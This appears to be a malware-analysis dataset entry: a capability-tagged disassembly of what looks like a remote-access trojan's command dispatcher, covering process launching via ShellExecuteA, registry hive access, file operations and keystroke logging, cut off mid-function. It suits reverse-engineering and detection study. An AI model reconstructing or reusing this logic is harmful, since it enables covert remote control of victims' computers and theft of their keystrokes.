Function at 0x48cf4d
Capabilities:
Create process on windows
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1083
push 0
push 0
dec ecx
jne 0x48cf55
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x490155
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x490108
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8180]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8180]
mov edx, 0x49016d
call fcn.00405241
jne 0x48cff6
lea ecx, [ebp - 0x8184]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8184]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.004909e5
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x49016d
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8188]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8188]
mov edx, 0x490179
call fcn.00405241
jne 0x48d34b
xor eax, eax
push ebp
push 0x48d334
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 3
jl 0x48d2da
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x48d2c3
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x818c]
push eax
lea ecx, [ebp - 0x8190]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8190]
call fcn.004050f5
push eax
lea ecx, [ebp - 0x8194]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8194]
mov ecx, 1
pop edx
call fcn.00405355
mov eax, dword [ebp - 0x818c]
mov edx, 0x490185
call fcn.00405241
jne 0x48d1d3
lea ecx, [ebp - 0x8198]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8198]
call fcn.004099bd
test al, al
je 0x48d2b9
mov eax, dword [ebp - 0x20]
call fcn.004050f5
mov edx, eax
lea eax, [ebp - 0x20]
mov ecx, 1
call fcn.00405395
lea edx, [ebp - 0x819c]
mov eax, dword [ebp - 0x20]
call fcn.0048b519
mov ecx, dword [ebp - 0x819c]
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00405141
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x1c]
mov ecx, 0x490185
mov edx, dword [ebp - 0x18]
call fcn.00405141
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x48d1b4
inc dword [ebp - 0xc]
lea edx, [ebp - 0x81a0]
mov eax, dword [ebp - 0x18]
call fcn.0048b5c9
push dword [ebp - 0x81a0]
push 0x490191
lea edx, [ebp - 0x81a4]
mov eax, dword [ebp - 0xc]
call fcn.00409451
push dword [ebp - 0x81a4]
push 0x4901a1
lea edx, [ebp - 0x81a8]
mov eax, dword [ebp - 0x18]
call fcn.0048b519
push dword [ebp - 0x81a8]
push 0x490185
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.004051b5
mov eax, dword [ebp - 0x1c]
call fcn.004099bd
test al, al
jne 0x48d159
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
call fcn.004911e5
jmp 0x48d2b9
lea ecx, [ebp - 0x81ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81ac]
call fcn.004099ad
test al, al
je 0x48d2b9
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea edx, [ebp - 0x81b0]
mov eax, dword [ebp - 0x20]
call fcn.0048b519
mov edx, dword [ebp - 0x81b0]
lea eax, [ebp - 0x1c]
call fcn.004050fd
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404ecd
jmp 0x48d29f
inc dword [ebp - 0xc]
lea edx, [ebp - 0x81b4]
mov eax, dword [ebp - 0x18]
call fcn.0048b5c9
push dword [ebp - 0x81b4]
push 0x490191
lea edx, [ebp - 0x81b8]
mov eax, dword [ebp - 0xc]
call fcn.00409451
push dword [ebp - 0x81b8]
push 0x4901a1
lea edx, [ebp - 0x81bc]
mov eax, dword [ebp - 0x18]
call fcn.0048b519
push dword [ebp - 0x81bc]
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.004051b5
mov eax, dword [ebp - 0x1c]
call fcn.004099ad
test al, al
jne 0x48d249
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
call fcn.00491089
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d2cd
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x48d046
lea eax, [ebp - 0x30]
mov edx, 0x490179
call fcn.00404ecd
lea edx, [ebp - 0x81c0]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x81c0]
lea eax, [ebp - 0x30]
call fcn.00404ecd
lea eax, [ebp - 0x81c4]
mov ecx, 0x4901ad
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x81c4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d33e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x81c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81c8]
mov edx, 0x4901b9
call fcn.00405241
jne 0x48d3c7
xor eax, eax
push ebp
push 0x48d3b0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49c305], 0
je 0x48d393
mov eax, dword [0x49c308]
call fcn.0041c691
cmp byte [0x49c306], 0
je 0x48d3a6
mov eax, dword [0x49c30c]
call fcn.0041c691
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d3ba
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x81cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81cc]
mov edx, 0x4901c5
call fcn.00405241
jne 0x48d5bc
xor eax, eax
push ebp
push 0x48d5a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 2
jl 0x48d54b
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x48d534
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x81d0]
push eax
lea ecx, [ebp - 0x81d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81d4]
call fcn.004050f5
push eax
lea ecx, [ebp - 0x81d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81d8]
mov ecx, 1
pop edx
call fcn.00405355
mov eax, dword [ebp - 0x81d0]
mov edx, 0x490185
call fcn.00405241
jne 0x48d4ca
lea ecx, [ebp - 0x81dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81dc]
call fcn.004099bd
test al, al
je 0x48d52a
lea ecx, [ebp - 0x81e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x81e0]
mov eax, dword [ebp - 4]
call fcn.00490e61
jmp 0x48d52a
lea ecx, [ebp - 0x81e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81e4]
call fcn.004099ad
test al, al
je 0x48d52a
lea ecx, [ebp - 0x81e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81e8]
xor edx, edx
call fcn.00409add
lea ecx, [ebp - 0x81ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81ec]
call fcn.00409bf9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d53e
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jne 0x48d417
lea eax, [ebp - 0x30]
mov edx, 0x490179
call fcn.00404ecd
lea edx, [ebp - 0x81f0]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x81f0]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x81f4]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x81f4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d5af
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x81f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x81f8]
mov edx, 0x4901d1
call fcn.00405241
jne 0x48d6b7
xor eax, eax
push ebp
push 0x48d6a0
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
push ebp
push 0x48d63c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
call fcn.00409c11
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d646
lea eax, [ebp - 0x30]
mov edx, 0x490179
call fcn.00404ecd
lea edx, [ebp - 0x81fc]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x81fc]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8200]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8200]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d6aa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8204]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8204]
mov edx, 0x4901dd
call fcn.00405241
jne 0x48d81b
xor eax, eax
push ebp
push 0x48d804
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x48d792
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x820c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x820c]
lea edx, [ebp - 0x8208]
call fcn.0048b5c9
push dword [ebp - 0x8208]
lea ecx, [ebp - 0x8214]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8214]
lea edx, [ebp - 0x8210]
call fcn.0048b519
push dword [ebp - 0x8210]
push 0x4901e9
lea edx, [ebp - 0x8218]
mov eax, dword [ebp - 0xc]
call fcn.00409451
push dword [ebp - 0x8218]
push 0x4901a1
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.004051b5
mov eax, dword [ebp - 0x18]
call fcn.004099bd
test al, al
jne 0x48d70c
mov eax, dword [ebp - 0x18]
call fcn.00409ef5
lea eax, [ebp - 0x30]
mov edx, 0x490179
call fcn.00404ecd
lea edx, [ebp - 0x821c]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x821c]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8220]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8220]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d80e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8224]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8224]
mov edx, 0x4901f5
call fcn.00405241
jne 0x48d9b2
xor edx, edx
push ebp
push 0x48d99b
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x48d8f6
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x822c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x822c]
lea edx, [ebp - 0x8228]
call fcn.0048b5c9
push dword [ebp - 0x8228]
push 0x490201
lea edx, [ebp - 0x8230]
mov eax, dword [ebp - 0xc]
call fcn.00409451
push dword [ebp - 0x8230]
push 0x4901a1
lea ecx, [ebp - 0x8238]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8238]
lea edx, [ebp - 0x8234]
call fcn.0048b519
push dword [ebp - 0x8234]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.004051b5
mov eax, dword [ebp - 0x18]
call fcn.004099ad
test al, al
jne 0x48d870
xor edx, edx
push ebp
push 0x48d937
push dword fs:[edx]
mov dword fs:[edx], esp
push 0xffff
mov ecx, dword [ebp - 0x18]
mov dl, 1
mov eax, dword [0x413d29]
call fcn.00418791
call fcn.00404061
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d941
lea eax, [ebp - 0x30]
mov edx, 0x490179
call fcn.00404ecd
lea edx, [ebp - 0x823c]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x823c]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8240]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8240]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48d9a5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8244]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8244]
mov edx, 0x490211
call fcn.00405241
jne 0x48db97
xor eax, eax
push ebp
push 0x48db80
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48dae8
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x8248]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8248]
call fcn.004095bd
sub eax, 1
jb 0x48da4f
je 0x48da70
dec eax
je 0x48da91
dec eax
je 0x48dab2
jmp 0x48dad1
push 1
push 0
mov eax, dword [ebp - 0x20]
call fcn.004052f5
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004052f5
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x48dad1
push 0
push 0
mov eax, dword [ebp - 0x20]
call fcn.004052f5
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004052f5
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x48dad1
push 3
push 0
mov eax, dword [ebp - 0x20]
call fcn.004052f5
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004052f5
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x48dad1
push 6
push 0
mov eax, dword [ebp - 0x20]
call fcn.004052f5
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004052f5
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
lea edx, [ebp - 0x18]
mov eax, 0x49021d
call fcn.0046afd1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48daff
lea eax, [ebp - 0x30]
mov edx, 0x4901b9
call fcn.00404ecd
lea edx, [ebp - 0x824c]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x824c]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8250]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8250]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
mov ecx, 0x4901ad
lea eax, [ebp - 0x8254]
mov edx, dword [ebp - 0x18]
call fcn.00405141
mov edx, dword [ebp - 0x8254]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48db8a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8258]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8258]
mov edx, 0x49023d
call fcn.00405241
jne 0x48dbf9
xor edx, edx
push ebp
push 0x48dbe2
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x486df9]
call fcn.00486e71
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48dbec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x825c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x825c]
mov edx, 0x490249
call fcn.00405241
jne 0x48ddd7
xor eax, eax
push ebp
push 0x48ddc0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x490255
call fcn.00404ecd
lea edx, [ebp - 0x8260]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x8260]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8264]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8264]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8268]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8268]
lea eax, [ebp - 0x17c]
call fcn.004035c1
mov eax, dword [0x49a0d4]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x17c]
call fcn.00403a35
call fcn.00403029
xor edx, edx
lea eax, [ebp - 0x17c]
call fcn.00403a5d
call fcn.00403029
lea eax, [ebp - 0x17c]
call fcn.004038c1
call fcn.00403029
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov cl, 1
call fcn.0045d515
xor eax, eax
push ebp
push 0x48dd68
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
or edx, 0xffffffff
call fcn.0045d75d
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x817c]
mov ecx, 0x8000
lea eax, [ebp - 0x17c]
call fcn.00403719
call fcn.00403029
push 0
lea edx, [ebp - 0x817c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [ebp - 0x14]
call fcn.0045d1d1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.0045d785
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48dd9c
cmp dword [ebp - 0x14], 0
jne 0x48dcf9
lea eax, [ebp - 0x17c]
call fcn.00403759
call fcn.00403029
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48ddca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x826c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x826c]
mov edx, 0x490261
call fcn.00405241
jne 0x48de75
xor eax, eax
push ebp
push 0x48de5e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49c305], 0
je 0x48de1f
mov eax, dword [0x49c308]
call fcn.0041c691
mov dl, 1
mov eax, dword [0x489ae1]
call fcn.00489b4d
mov dword [0x49c308], eax
cmp byte [0x49c306], 0
je 0x48de43
mov eax, dword [0x49c30c]
call fcn.0041c691
mov dl, 1
mov eax, dword [0x4896f5]
call fcn.0048975d
mov dword [0x49c30c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48de68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8270]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8270]
mov edx, 0x49026d
call fcn.00405241
jne 0x48e095
xor eax, eax
push ebp
push 0x48e051
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x413b05]
call fcn.00404031
mov esi, eax
mov dl, 1
mov eax, dword [0x413b05]
call fcn.00404031
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov dl, 1
mov eax, dword [0x42a6bd]
call fcn.0042a7bd
mov dword [ebp - 0x2c], eax
xor eax, eax
push ebp
push 0x48e040
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1c]
mov edx, 0x490279
call fcn.00405241
jne 0x48df16
mov edx, 0x80000000
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov eax, dword [ebp - 0x1c]
mov edx, 0x490295
call fcn.00405241
jne 0x48df32
mov edx, 0x80000001
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov eax, dword [ebp - 0x1c]
mov edx, 0x4902b1
call fcn.00405241
jne 0x48df4e
mov edx, 0x80000002
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov eax, dword [ebp - 0x1c]
mov edx, 0x4902cd
call fcn.00405241
jne 0x48df6a
mov edx, 0x80000003
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov eax, dword [ebp - 0x1c]
mov edx, 0x4902e1
call fcn.00405241
jne 0x48df86
mov edx, 0x80000005
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov eax, dword [ebp - 0x1c]
mov edx, 0x4902fd
call fcn.00405241
jne 0x48dfa2
mov edx, 0x80000006
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
lea eax, [ebp - 0x20]
call fcn.00404e35
lea ecx, [ebp - 0x8274]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8274]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
call fcn.0042a9a1
test al, al
je 0x48e022
mov edx, esi
mov eax, dword [ebp - 0x2c]
call fcn.0042acc5
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x48e017
inc ebx
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x8278]
mov edx, dword [ebp - 0xc]
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x8278]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0xc]
dec ebx
jne 0x48dff3
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x2c]
call fcn.0042a82d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e047
mov eax, dword [ebp - 0x2c]
call fcn.00404061
ret
lea ecx, [ebp - 0x827c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x827c]
mov edx, 0x490325
call fcn.00405241
jne 0x48e0f1
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00491bd1
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490331
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8280]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8280]
mov edx, 0x49033d
call fcn.00405241
jne 0x48e17a
xor eax, eax
push ebp
push 0x48e163
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004925f5
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 8]
